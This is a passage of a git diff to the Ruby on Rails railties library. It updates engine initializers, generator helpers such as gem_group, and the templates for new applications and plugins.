all = ActionController::Base.all_helpers_from_path(helpers_paths)
ActionController::Base.modules_for_helpers(all).each do |mod|
helpers.send(:include, mod)
@@ -443,6 +456,14 @@ module Rails
end
end
+ def helpers_paths
+ paths["app/helpers"].existent
+ end
+
+ def routes_url_helpers
+ routes.url_helpers
+ end
+
def app
@app ||= begin
config.middleware = config.middleware.merge_into(default_middleware_stack)
@@ -470,10 +491,19 @@ module Rails
@routes
end
+ def ordered_railties
+ railties.all + [self]
+ end
+
def initializers
initializers = []
- railties.all { |r| initializers += r.initializers }
- initializers += super
+ ordered_railties.each do |r|
+ if r == self
+ initializers += super
+ else
+ initializers += r.initializers
+ end
+ end
initializers
end
@@ -487,7 +517,7 @@ module Rails
# Blog::Engine.load_seed
def load_seed
seed_file = paths["db/seeds"].existent.first
- load(seed_file) if File.exist?(seed_file)
+ load(seed_file) if seed_file && File.exist?(seed_file)
end
# Add configured load paths to ruby load paths and remove duplicates.
@@ -536,15 +566,15 @@ module Rails
end
end
- initializer :load_environment_config, :before => :load_environment_hook do
+ initializer :load_environment_config, :before => :load_environment_hook, :group => :all do
environment = paths["config/environments"].existent.first
require environment if environment
end
- initializer :append_assets_path do |app|
- app.config.assets.paths.unshift(*paths["vendor/assets"].existent)
- app.config.assets.paths.unshift(*paths["lib/assets"].existent)
- app.config.assets.paths.unshift(*paths["app/assets"].existent)
+ initializer :append_assets_path, :group => :all do |app|
+ app.config.assets.paths.unshift(*paths["vendor/assets"].existent_directories)
+ app.config.assets.paths.unshift(*paths["lib/assets"].existent_directories)
+ app.config.assets.paths.unshift(*paths["app/assets"].existent_directories)
end
initializer :prepend_helpers_path do |app|
diff --git a/railties/lib/rails/engine/commands.rb b/railties/lib/rails/engine/commands.rb
index 3b0920e213..b71119af77 100644
--- a/railties/lib/rails/engine/commands.rb
+++ b/railties/lib/rails/engine/commands.rb
@@ -3,7 +3,8 @@ require 'active_support/core_ext/object/inclusion'
ARGV << '--help' if ARGV.empty?
aliases = {
- "g" => "generate"
+ "g" => "generate",
+ "d" => "destroy"
}
command = ARGV.shift
@@ -30,7 +31,7 @@ Usage: rails COMMAND [ARGS]
The common rails commands available for engines are:
generate Generate new code (short-cut alias: "g")
- destroy Undo code generated with "generate"
+ destroy Undo code generated with "generate" (short-cut alias: "d")
All commands can be run with -h for more information.
EOT
diff --git a/railties/lib/rails/generators.rb b/railties/lib/rails/generators.rb
index fdafc91fcb..27f8d13ce8 100644
--- a/railties/lib/rails/generators.rb
+++ b/railties/lib/rails/generators.rb
@@ -77,7 +77,7 @@ module Rails
fallbacks.merge! config.fallbacks
templates_path.concat config.templates
templates_path.uniq!
- hide_namespaces *config.hidden_namespaces
+ hide_namespaces(*config.hidden_namespaces)
end
def self.templates_path
@@ -313,7 +313,7 @@ module Rails
begin
path = path.sub("#{base}/", "")
require path
- rescue Exception => e
+ rescue Exception
# No problem
end
end
diff --git a/railties/lib/rails/generators/actions.rb b/railties/lib/rails/generators/actions.rb
index b8541c236e..ca93f9ef9d 100644
--- a/railties/lib/rails/generators/actions.rb
+++ b/railties/lib/rails/generators/actions.rb
@@ -68,7 +68,33 @@ module Rails
end
in_root do
- append_file "Gemfile", "gem #{parts.join(", ")}\n", :verbose => false
+ str = "gem #{parts.join(", ")}"
+ str = " " + str if @in_group
+ str = "\n" + str
+ append_file "Gemfile", str, :verbose => false
+ end
+ end
+
+ # Wraps gem entries inside a group.
+ #
+ # ==== Example
+ #
+ # gem_group :development, :test do
+ # gem "rspec-rails"
+ # end
+ #
+ def gem_group(*names, &block)
+ name = names.map(&:inspect).join(", ")
+ log :gemfile, "group #{name}"
+
+ in_root do
+ append_file "Gemfile", "\ngroup #{name} do", :force => true
+
+ @in_group = true
+ instance_eval(&block)
+ @in_group = false
+
+ append_file "Gemfile", "\nend\n", :force => true
end
end
@@ -97,7 +123,7 @@ module Rails
in_root do
if options[:env].nil?
- inject_into_file 'config/application.rb', "\n #{data}", :after => sentinel, :verbose => false
+ inject_into_file 'config/application.rb', "\n #{data}", :after => sentinel, :verbose => false
else
Array.wrap(options[:env]).each do |env|
inject_into_file "config/environments/#{env}.rb", "\n #{data}", :after => env_file_sentinel, :verbose => false
@@ -119,8 +145,8 @@ module Rails
if commands.is_a?(Symbol)
run "git #{commands}"
else
- commands.each do |command, options|
- run "git #{command} #{options}"
+ commands.each do |cmd, options|
+ run "git #{cmd} #{options}"
end
end
end
@@ -227,7 +253,7 @@ module Rails
#
def rake(command, options={})
log :rake, command
- env = options[:env] || 'development'
+ env = options[:env] || ENV["RAILS_ENV"] || 'development'
sudo = options[:sudo] && RbConfig::CONFIG['host_os'] !~ /mswin|mingw/ ? 'sudo ' : ''
in_root { run("#{sudo}#{extify(:rake)} #{command} RAILS_ENV=#{env}", :verbose => false) }
end
diff --git a/railties/lib/rails/generators/app_base.rb b/railties/lib/rails/generators/app_base.rb
index bbdd000ad9..3fbde0d989 100644
--- a/railties/lib/rails/generators/app_base.rb
+++ b/railties/lib/rails/generators/app_base.rb
@@ -9,7 +9,7 @@ require 'uri'
module Rails
module Generators
class AppBase < Base
- DATABASES = %w( mysql oracle postgresql sqlite3 frontbase ibm_db )
+ DATABASES = %w( mysql oracle postgresql sqlite3 frontbase ibm_db sqlserver )
JDBC_DATABASES = %w( jdbcmysql jdbcsqlite3 jdbcpostgresql jdbc )
DATABASES.concat(JDBC_DATABASES)
@@ -138,28 +138,33 @@ module Rails
if options.dev?
<<-GEMFILE.strip_heredoc
gem 'rails', :path => '#{Rails::Generators::RAILS_DEV_PATH}'
+ gem 'journey', :git => 'git://github.com/rails/journey.git'
+ gem 'arel', :git => 'git://github.com/rails/arel.git'
GEMFILE
elsif options.edge?
<<-GEMFILE.strip_heredoc
gem 'rails', :git => 'git://github.com/rails/rails.git'
+ gem 'journey', :git => 'git://github.com/rails/journey.git'
+ gem 'arel', :git => 'git://github.com/rails/arel.git'
GEMFILE
else
<<-GEMFILE.strip_heredoc
gem 'rails', '#{Rails::VERSION::STRING}'
# Bundle edge Rails instead:
- # gem 'rails', :git => 'git://github.com/rails/rails.git'
+ # gem 'rails', :git => 'git://github.com/rails/rails.git'
GEMFILE
end
end
def gem_for_database
- # %w( mysql oracle postgresql sqlite3 frontbase ibm_db jdbcmysql jdbcsqlite3 jdbcpostgresql )
+ # %w( mysql oracle postgresql sqlite3 frontbase ibm_db sqlserver jdbcmysql jdbcsqlite3 jdbcpostgresql )
case options[:database]
- when "oracle" then "ruby-oci8"
- when "postgresql" then "pg"
- when "frontbase" then "ruby-frontbase"
- when "mysql" then "mysql2"
+ when "oracle" then "ruby-oci8"
+ when "postgresql" then "pg"
+ when "frontbase" then "ruby-frontbase"
+ when "mysql" then "mysql2"
+ when "sqlserver" then "activerecord-sqlserver-adapter"
when "jdbcmysql" then "activerecord-jdbcmysql-adapter"
when "jdbcsqlite3" then "activerecord-jdbcsqlite3-adapter"
when "jdbcpostgresql" then "activerecord-jdbcpostgresql-adapter"
@@ -187,23 +192,15 @@ module Rails
end
end
- def turn_gemfile_entry
- unless RUBY_VERSION < "1.9.2" || options[:skip_test_unit]
- <<-GEMFILE.strip_heredoc
- group :test do
- # Pretty printed test output
- gem 'turn', :require => false
- end
- GEMFILE
- end
- end
-
def assets_gemfile_entry
<<-GEMFILE.strip_heredoc
+ # Gems used only for assets and not required
+ # in production environments by default.
group :assets do
- gem 'sass-rails', :git => 'git://github.com/rails/sass-rails'
- gem 'coffee-rails', :git => 'git://github.com/rails/coffee-rails'
- gem 'uglifier'
+ gem 'sass-rails', :git => 'git://github.com/rails/sass-rails.git'
+ gem 'coffee-rails', :git => 'git://github.com/rails/coffee-rails.git'
+ #{"gem 'therubyrhino'\n" if defined?(JRUBY_VERSION)}
+ gem 'uglifier', '>= 1.0.3'
end
GEMFILE
end
diff --git a/railties/lib/rails/generators/base.rb b/railties/lib/rails/generators/base.rb
index b9dc31457a..f38a487a4e 100644
--- a/railties/lib/rails/generators/base.rb
+++ b/railties/lib/rails/generators/base.rb
@@ -34,7 +34,7 @@ module Rails
usage = source_root && File.expand_path("../USAGE", source_root)
@desc ||= if usage && File.exist?(usage)
- File.read(usage)
+ ERB.new(File.read(usage)).result(binding)
else
"Description:\n Create #{base_name.humanize.downcase} files for #{generator_name} generator."
end
@@ -91,7 +91,7 @@ module Rails
#
# The lookup in this case for test_unit as input is:
#
- # "test_unit:awesome", "test_unit"
+ # "test_framework:awesome", "test_framework"
#
# Which is not the desired the lookup. You can change it by providing the
# :as option:
@@ -102,7 +102,7 @@ module Rails
#
# And now it will lookup at:
#
- # "test_unit:controller", "test_unit"
+ # "test_framework:controller", "test_framework"
#
# Similarly, if you want it to also lookup in the rails namespace, you just
# need to provide the :base value:
@@ -113,7 +113,7 @@ module Rails
#
# And the lookup is exactly the same as previously:
#
- # "rails:test_unit", "test_unit:controller", "test_unit"
+ # "rails:test_framework", "test_framework:controller", "test_framework"
#
# ==== Switches
#
diff --git a/railties/lib/rails/generators/rails/app/USAGE b/railties/lib/rails/generators/rails/app/USAGE
index 9e7a78d132..691095f33f 100644
--- a/railties/lib/rails/generators/rails/app/USAGE
+++ b/railties/lib/rails/generators/rails/app/USAGE
@@ -2,6 +2,12 @@ Description:
The 'rails new' command creates a new Rails application with a default
directory structure and configuration at the path you specify.
+ You can specify extra command-line arguments to be used every time
+ 'rails new' runs in the .railsrc configuration file in your home directory.
+
+ Note that the arguments specified in the .railsrc file don't affect the
+ defaults values shown above in this help message.
+
Example:
rails new ~/Code/Ruby/weblog
diff --git a/railties/lib/rails/generators/rails/app/app_generator.rb b/railties/lib/rails/generators/rails/app/app_generator.rb
index d9dd33518a..3e32f758a4 100644
--- a/railties/lib/rails/generators/rails/app/app_generator.rb
+++ b/railties/lib/rails/generators/rails/app/app_generator.rb
@@ -122,10 +122,15 @@ module Rails
end
def vendor
+ vendor_javascripts
vendor_stylesheets
vendor_plugins
end
+ def vendor_javascripts
+ empty_directory_with_gitkeep "vendor/assets/javascripts"
+ end
+
def vendor_stylesheets
empty_directory_with_gitkeep "vendor/assets/stylesheets"
end
@@ -139,7 +144,6 @@ module Rails
# We need to store the RAILS_DEV_PATH in a constant, otherwise the path
# can change in Ruby 1.8.7 when we FileUtils.cd.
RAILS_DEV_PATH = File.expand_path("../../../../../..", File.dirname(__FILE__))
-
RESERVED_NAMES = %w[application destroy benchmarker profiler plugin runner test]
class AppGenerator < AppBase
diff --git a/railties/lib/rails/generators/rails/app/templates/Gemfile b/railties/lib/rails/generators/rails/app/templates/Gemfile
index 88eea40b1b..d3b8f4d595 100644
--- a/railties/lib/rails/generators/rails/app/templates/Gemfile
+++ b/railties/lib/rails/generators/rails/app/templates/Gemfile
@@ -7,12 +7,12 @@ source 'http://rubygems.org'
<%= "gem 'jruby-openssl'\n" if defined?(JRUBY_VERSION) -%>
<%= "gem 'json'\n" if RUBY_VERSION < "1.9.2" -%>
-# Gems used only for assets and not required
-# in production environments by default.
<%= assets_gemfile_entry %>
-
<%= javascript_gemfile_entry %>
+# To use ActiveModel has_secure_password
+# gem 'bcrypt-ruby', '~> 3.0.0'
+
# Use unicorn as the web server
# gem 'unicorn'
@@ -21,5 +21,3 @@ source 'http://rubygems.org'
# To use debugger
# <%= ruby_debugger_gemfile_entry %>
-
-<%= turn_gemfile_entry -%>
diff --git a/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css b/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css
index 9e07c7d9a9..3b5cc6648e 100644
--- a/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css
+++ b/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css
@@ -4,10 +4,10 @@
*
* Any CSS and SCSS file within this directory, lib/assets/stylesheets, vendor/assets/stylesheets,
* or vendor/assets/stylesheets of plugins, if any, can be referenced here using a relative path.
- *
+ *
* You're free to add application-wide styles to this file and they'll appear at the top of the
* compiled file, but it's generally better to create a new file per style scope.
*
*= require_self
- *= require_tree .
-*/ \ No newline at end of file
+ *= require_tree .
+*/
diff --git a/railties/lib/rails/generators/rails/app/templates/app/views/layouts/application.html.erb.tt b/railties/lib/rails/generators/rails/app/templates/app/views/layouts/application.html.erb.tt
index c63d1b6ac5..bba96a7431 100644
--- a/railties/lib/rails/generators/rails/app/templates/app/views/layouts/application.html.erb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/app/views/layouts/application.html.erb.tt
@@ -2,7 +2,7 @@
<html>
<head>
<title><%= camelized %></title>
- <%%= stylesheet_link_tag "application" %>
+ <%%= stylesheet_link_tag "application", :media => "all" %>
<%%= javascript_include_tag "application" %>
<%%= csrf_meta_tags %>
</head>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/application.rb b/railties/lib/rails/generators/rails/app/templates/config/application.rb
index 7687b1beac..40fd843b1b 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/application.rb
+++ b/railties/lib/rails/generators/rails/app/templates/config/application.rb
@@ -12,10 +12,12 @@ require "active_resource/railtie"
<%= comment_if :skip_test_unit %>require "rails/test_unit/railtie"
<% end -%>
-# If you have a Gemfile, require the default gems, the ones in the
-# current environment and also include :assets gems if in development
-# or test environments.
-Bundler.require *Rails.groups(:assets) if defined?(Bundler)
+if defined?(Bundler)
+ # If you precompile assets before deploying to production, use this line
+ Bundler.require(*Rails.groups(:assets => %w(development test)))
+ # If you want your assets lazily compiled in production, use this line
+ # Bundler.require(:default, :assets, Rails.env)
+end
module <%= app_const_base %>
class Application < Rails::Application
@@ -47,9 +49,17 @@ module <%= app_const_base %>
# Configure sensitive parameters which will be filtered from the log file.
config.filter_parameters += [:password]
+ # Use SQL instead of Active Record's schema dumper when creating the database.
+ # This is necessary if your schema can't be completely dumped by the schema dumper,
+ # like if you have constraints or database-specific column types
+ # config.active_record.schema_format = :sql
+
<% unless options.skip_sprockets? -%>
# Enable the asset pipeline
config.assets.enabled = true
+
+ # Version of your assets, change this if you want to expire all your assets
+ config.assets.version = '1.0'
<% end -%>
end
end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt
index 3e0c29a587..47078e3af9 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt
@@ -29,4 +29,7 @@
# Do not compress assets
config.assets.compress = false
+
+ # Expands the lines which load the assets
+ config.assets.debug = true
end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt
index 06ed890e05..50f2df3d35 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt
@@ -14,9 +14,18 @@
# Compress JavaScripts and CSS
config.assets.compress = true
+ # Don't fallback to assets pipeline if a precompiled asset is missed
+ config.assets.compile = false
+
+ # Generate digests for assets URLs
+ config.assets.digest = true
+
+ # Defaults to Rails.root.join("public/assets")
+ # config.assets.manifest = YOUR_PATH
+
# Specifies the header that your server uses for sending files
- # (comment out if your front-end server doesn't support this)
- config.action_dispatch.x_sendfile_header = "X-Sendfile" # Use 'X-Accel-Redirect' for nginx
+ # config.action_dispatch.x_sendfile_header = "X-Sendfile" # for apache
+ # config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for nginx
# Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
# config.force_ssl = true
@@ -24,8 +33,11 @@
# See everything in the log (default is :info)
# config.log_level = :debug
+ # Prepend all log lines with the following tags
+ # config.log_tags = [ :subdomain, :uuid ]
+
# Use a different logger for distributed setups
- # config.logger = SyslogLogger.new
+ # config.logger = ActiveSupport::TaggedLogging.new(SyslogLogger.new)
# Use a different cache store in production
# config.cache_store = :mem_cache_store
diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt
index ee068b0202..37a8b81dad 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt
@@ -29,10 +29,10 @@
# ActionMailer::Base.deliveries array.
config.action_mailer.delivery_method = :test
- # Use SQL instead of Active Record's schema dumper when creating the test database.
- # This is necessary if your schema can't be completely dumped by the schema dumper,
- # like if you have constraints or database-specific column types
- # config.active_record.schema_format = :sql
+ <%- unless options.skip_active_record? -%>
+ # Raise exception on mass assignment protection for ActiveRecord models
+ config.active_record.mass_assignment_sanitizer = :strict
+ <%- end -%>
# Print deprecation notices to the stderr
config.active_support.deprecation = :stderr
diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt
index fa1548db8b..d640f578da 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt
@@ -4,9 +4,13 @@
# is enabled by default.
# Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array.
-ActionController::Base.wrap_parameters <%= key_value :format, "[:json]" %>
+ActiveSupport.on_load(:action_controller) do
+ wrap_parameters <%= key_value :format, "[:json]" %>
+end
+<%- unless options.skip_active_record? -%>
# Disable root element in JSON by default.
-if defined?(ActiveRecord)
- ActiveRecord::Base.include_root_in_json = false
+ActiveSupport.on_load(:active_record) do
+ self.include_root_in_json = false
end
+<%- end -%>
diff --git a/railties/lib/rails/generators/rails/app/templates/gitignore b/railties/lib/rails/generators/rails/app/templates/gitignore
index 923b697662..eb3489a986 100644
--- a/railties/lib/rails/generators/rails/app/templates/gitignore
+++ b/railties/lib/rails/generators/rails/app/templates/gitignore
@@ -1,5 +1,15 @@
-.bundle
-db/*.sqlite3
-log/*.log
-tmp/
-.sass-cache/
+# See http://help.github.com/ignore-files/ for more about ignoring files.
+#
+# If you find yourself ignoring temporary files generated by your text editor
+# or operating system, you probably want to add a global ignore instead:
+# git config --global core.excludesfile ~/.gitignore_global
+
+# Ignore bundler config
+/.bundle
+
+# Ignore the default SQLite database.
+/db/*.sqlite3
+
+# Ignore all logfiles and tempfiles.
+/log/*.log
+/tmp
diff --git a/railties/lib/rails/generators/rails/app/templates/public/500.html b/railties/lib/rails/generators/rails/app/templates/public/500.html
index b80307fc16..f3648a0dbc 100644
--- a/railties/lib/rails/generators/rails/app/templates/public/500.html
+++ b/railties/lib/rails/generators/rails/app/templates/public/500.html
@@ -20,7 +20,6 @@
<!-- This file lives in public/500.html -->
<div class="dialog">
<h1>We're sorry, but something went wrong.</h1>
- <p>We've been notified about this issue and we'll take a look at it shortly.</p>
</div>
</body>
</html>
diff --git a/railties/lib/rails/generators/rails/app/templates/public/index.html b/railties/lib/rails/generators/rails/app/templates/public/index.html
index 9d9811a5bf..a1d50995c5 100644
--- a/railties/lib/rails/generators/rails/app/templates/public/index.html
+++ b/railties/lib/rails/generators/rails/app/templates/public/index.html
@@ -59,7 +59,7 @@
#header {
- background-image: url("/assets/rails.png");
+ background-image: url("assets/rails.png");
background-repeat: no-repeat;
background-position: top left;
height: 64px;
diff --git a/railties/lib/rails/generators/rails/controller/templates/controller.rb b/railties/lib/rails/generators/rails/controller/templates/controller.rb
index 8f5f78556f..52243f4a2f 100644
--- a/railties/lib/rails/generators/rails/controller/templates/controller.rb
+++ b/railties/lib/rails/generators/rails/controller/templates/controller.rb
@@ -3,7 +3,7 @@ class <%= class_name %>Controller < ApplicationController
<% actions.each do |action| -%>
def <%= action %>
end
-
+<%= "\n" unless action == actions.last -%>
<% end -%>
end
<% end -%>
diff --git a/railties/lib/rails/generators/rails/plugin_new/plugin_new_generator.rb b/railties/lib/rails/generators/rails/plugin_new/plugin_new_generator.rb
index 7c0a2b9cf4..cd7d51e628 100644
--- a/railties/lib/rails/generators/rails/plugin_new/plugin_new_generator.rb
+++ b/railties/lib/rails/generators/rails/plugin_new/plugin_new_generator.rb
@@ -11,14 +11,13 @@ module Rails
def app
if mountable?
directory "app"
- template "app/views/layouts/application.html.erb.tt",
- "app/views/layouts/#{name}/application.html.erb"
empty_directory_with_gitkeep "app/assets/images/#{name}"
elsif full?
empty_directory_with_gitkeep "app/models"
empty_directory_with_gitkeep "app/controllers"
empty_directory_with_gitkeep "app/views"
empty_directory_with_gitkeep "app/helpers"
+ empty_directory_with_gitkeep "app/mailers"
empty_directory_with_gitkeep "app/assets/images/#{name}"
end
end
@@ -40,12 +39,13 @@ module Rails
end
def gitignore
- copy_file "gitignore", ".gitignore"
+ template "gitignore", ".gitignore"
end
def lib
template "lib/%name%.rb"
template "lib/tasks/%name%_tasks.rake"
+ template "lib/%name%/version.rb"
if full?
template "lib/%name%/engine.rb"
end
@@ -246,8 +246,20 @@ task :default => :test
"rails plugin new #{self.arguments.map(&:usage).join(' ')} [options]"
end
+ def original_name
+ @original_name ||= File.basename(destination_root)
+ end
+
def name
- @name ||= File.basename(destination_root)
+ @name ||= begin
+ # same as ActiveSupport::Inflector#underscore except not replacing '-'
+ underscored = original_name.dup
+ underscored.gsub!(/([A-Z]+)([A-Z][a-z])/,'\1_\2')
+ underscored.gsub!(/([a-z\d])([A-Z])/,'\1_\2')
+ underscored.downcase!
+
+ underscored
+ end
end
def camelized
@@ -256,11 +268,11 @@ task :default => :test
def valid_const?
if camelized =~ /^\d/
- raise Error, "Invalid plugin name #{name}. Please give a name which does not start with numbers."
+ raise Error, "Invalid plugin name #{original_name}. Please give a name which does not start with numbers."
elsif RESERVED_NAMES.include?(name)
- raise Error, "Invalid plugin name #{name}. Please give a name which does not match one of the reserved rails words."
+ raise Error, "Invalid plugin name #{original_name}. Please give a name which does not match one of the reserved rails words."
elsif Object.const_defined?(camelized)
- raise Error, "Invalid plugin name #{name}, constant #{camelized} is already in use. Please choose another plugin name."
+ raise Error, "Invalid plugin name #{original_name}, constant #{camelized} is already in use. Please choose another plugin name."
end
end
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/%name%.gemspec b/railties/lib/rails/generators/rails/plugin_new/templates/%name%.gemspec
index eb1a1e5054..8588e88077 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/%name%.gemspec
+++ b/railties/lib/rails/generators/rails/plugin_new/templates/%name%.gemspec
@@ -1,12 +1,27 @@
-# Provide a simple gemspec so you can easily use your
-# project in your rails apps through git.
+$:.push File.expand_path("../lib", __FILE__)
+
+# Maintain your gem's version:
+require "<%= name %>/version"
+
+# Describe your gem and declare its dependencies:
Gem::Specification.new do |s|
- s.name = "<%= name %>"
- s.summary = "Insert <%= camelized %> summary."
- s.description = "Insert <%= camelized %> description."
+ s.name = "<%= name %>"
+ s.version = <%= camelized %>::VERSION
+ s.authors = ["TODO: Your name"]
+ s.email = ["TODO: Your email"]
+ s.homepage = "TODO"
+ s.summary = "TODO: Summary of <%= camelized %>."
+ s.description = "TODO: Description of <%= camelized %>."
+
s.files = Dir["{app,config,db,lib}/**/*"] + ["MIT-LICENSE", "Rakefile", "README.rdoc"]
<% unless options.skip_test_unit? -%>
s.test_files = Dir["test/**/*"]
<% end -%>
- s.version = "0.0.1"
+
+ <%= '# ' if options.dev? || options.edge? -%>s.add_dependency "rails", "~> <%= Rails::VERSION::STRING %>"
+<% if full? && !options[:skip_javascript] -%>
+ # s.add_dependency "<%= "#{options[:javascript]}-rails" %>"
+<% end -%>
+
+ s.add_development_dependency "<%= gem_for_database %>"
end
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/Gemfile b/railties/lib/rails/generators/rails/plugin_new/templates/Gemfile
index 7e6eb18341..f4efd3af74 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/Gemfile
+++ b/railties/lib/rails/generators/rails/plugin_new/templates/Gemfile
@@ -1,14 +1,23 @@
source "http://rubygems.org"
-<%= rails_gemfile_entry -%>
+# Declare your gem's dependencies in <%= name %>.gemspec.
+# Bundler will treat runtime dependencies like base dependencies, and
+# development dependencies will be added by default to the :development group.
+gemspec
-<% if full? -%>
-<%= database_gemfile_entry -%>
-<% end -%>
+# jquery-rails is used by the dummy application
+gem "jquery-rails"
-<% if mountable? -%>
-<%= javascript_gemfile_entry -%>
-<% end -%>
+# Declare any dependencies that are still in development here instead of in
+# your gemspec. These might include edge Rails or gems from your path or
+# Git. Remember to move these dependencies to your gemspec before releasing
+# your gem to rubygems.org.
+<% if options.dev? || options.edge? -%>
+# Your gem is dependent on dev or edge Rails. Once you can lock this
+# dependency down to a specific version, move it to your gemspec.
+<%= rails_gemfile_entry -%>
+
+<% end -%>
# To use debugger
-# <%= ruby_debugger_gemfile_entry %> \ No newline at end of file
+# <%= ruby_debugger_gemfile_entry %>
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/app/mailers/.empty_directory b/railties/lib/rails/generators/rails/plugin_new/templates/app/mailers/.empty_directory
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin_new/templates/app/mailers/.empty_directory
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/app/views/layouts/application.html.erb.tt b/railties/lib/rails/generators/rails/plugin_new/templates/app/views/layouts/%name%/application.html.erb.tt
index 01550dec2f..bd983fb90f 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/app/views/layouts/application.html.erb.tt
+++ b/railties/lib/rails/generators/rails/plugin_new/templates/app/views/layouts/%name%/application.html.erb.tt
@@ -2,7 +2,7 @@
<html>
<head>
<title><%= camelized %></title>
- <%%= stylesheet_link_tag "<%= name %>/application" %>
+ <%%= stylesheet_link_tag "<%= name %>/application", :media => "all" %>
<%%= javascript_include_tag "<%= name %>/application" %>
<%%= csrf_meta_tags %>
</head>
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/gitignore b/railties/lib/rails/generators/rails/plugin_new/templates/gitignore
index 1463de6dfb..92bd3c614b 100644
--- a/railties/lib/rails/generators/rails/plugin_new/templates/gitignore
+++ b/railties/lib/rails/generators/rails/plugin_new/templates/gitignore
@@ -1,6 +1,6 @@
.bundle/
log/*.log
pkg/
-test/dummy/db/*.sqlite3
-test/dummy/log/*.log
-test/dummy/tmp/ \ No newline at end of file
+<%= dummy_path %>/db/*.sqlite3
+<%= dummy_path %>/log/*.log
+<%= dummy_path %>/tmp/ \ No newline at end of file
diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%/version.rb b/railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%/version.rb
new file mode 100644
index 0000000000..ef07ef2e19
--- /dev/null
+++ b/railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%/version.rb
@@ -0,0 +1,3 @@
+module <%= camelized %>
+ VERSION = "0.0.1"
+end
diff --git a/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb b/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb
index 32b961d9fc..4ff15fd288 100644
--- a/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb
+++ b/railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb
@@ -62,7 +62,7 @@ class <%= controller_class_name %>Controller < ApplicationController
respond_to do |format|
if @<%= orm_instance.update_attributes("params[:#{singular_table_name}]") %>
format.html { redirect_to @<%= singular_table_name %>, <%= key_value :notice, "'#{human_name} was successfully updated.'" %> }
- format.json { head :ok }
+ format.json { head :no_content }
else
format.html { render <%= key_value :action, '"edit"' %> }
format.json { render <%= key_value :json, "@#{orm_instance.errors}" %>, <%= key_value :status, ':unprocessable_entity' %> }
@@ -78,7 +78,7 @@ class <%= controller_class_name %>Controller < ApplicationController
respond_to do |format|
format.html { redirect_to <%= index_helper %>_url }
- format.json { head :ok }
+ format.json { head :no_content }
end
end
end
diff --git a/railties/lib/rails/generators/resource_helpers.rb b/railties/lib/rails/generators/resource_helpers.rb
index de01c858dd..3c5b39fa16 100644
--- a/railties/lib/rails/generators/resource_helpers.rb
+++ b/railties/lib/rails/generators/resource_helpers.rb
@@ -64,8 +64,8 @@ module Rails
end
begin
- "#{options[:orm].to_s.classify}::Generators::ActiveModel".constantize
- rescue NameError => e
+ "#{options[:orm].to_s.camelize}::Generators::ActiveModel".constantize
+ rescue NameError
Rails::Generators::ActiveModel
end
end
@@ -73,7 +73,7 @@ module Rails
# Initialize ORM::Generators::ActiveModel to access instance methods.
def orm_instance(name=singular_table_name)
- @orm_instance ||= @orm_class.new(name)
+ @orm_instance ||= orm_class.new(name)
end
end
end
diff --git a/railties/lib/rails/generators/test_case.rb b/railties/lib/rails/generators/test_case.rb
index ee85b70bb5..7319fb79f6 100644
--- a/railties/lib/rails/generators/test_case.rb
+++ b/railties/lib/rails/generators/test_case.rb
@@ -81,7 +81,7 @@ module Rails
#
# assert_file "app/controller/products_controller.rb" do |controller|
# assert_instance_method :index, content do |index|
- # assert_match /Product\.all/, index
+ # assert_match(/Product\.all/, index)
# end
# end
#
@@ -148,7 +148,7 @@ module Rails
#
# assert_migration "db/migrate/create_products.rb" do |migration|
# assert_class_method :up, migration do |up|
- # assert_match /create_table/, up
+ # assert_match(/create_table/, up)
# end
# end
#
@@ -161,7 +161,7 @@ module Rails
#
# assert_file "app/controller/products_controller.rb" do |controller|
# assert_instance_method :index, content do |index|
- # assert_match /Product\.all/, index
+ # assert_match(/Product\.all/, index)
# end
# end
#
diff --git a/railties/lib/rails/generators/test_unit/model/templates/fixtures.yml b/railties/lib/rails/generators/test_unit/model/templates/fixtures.yml
index d4138ca2f5..5c8780aa64 100644
--- a/railties/lib/rails/generators/test_unit/model/templates/fixtures.yml
+++ b/railties/lib/rails/generators/test_unit/model/templates/fixtures.yml
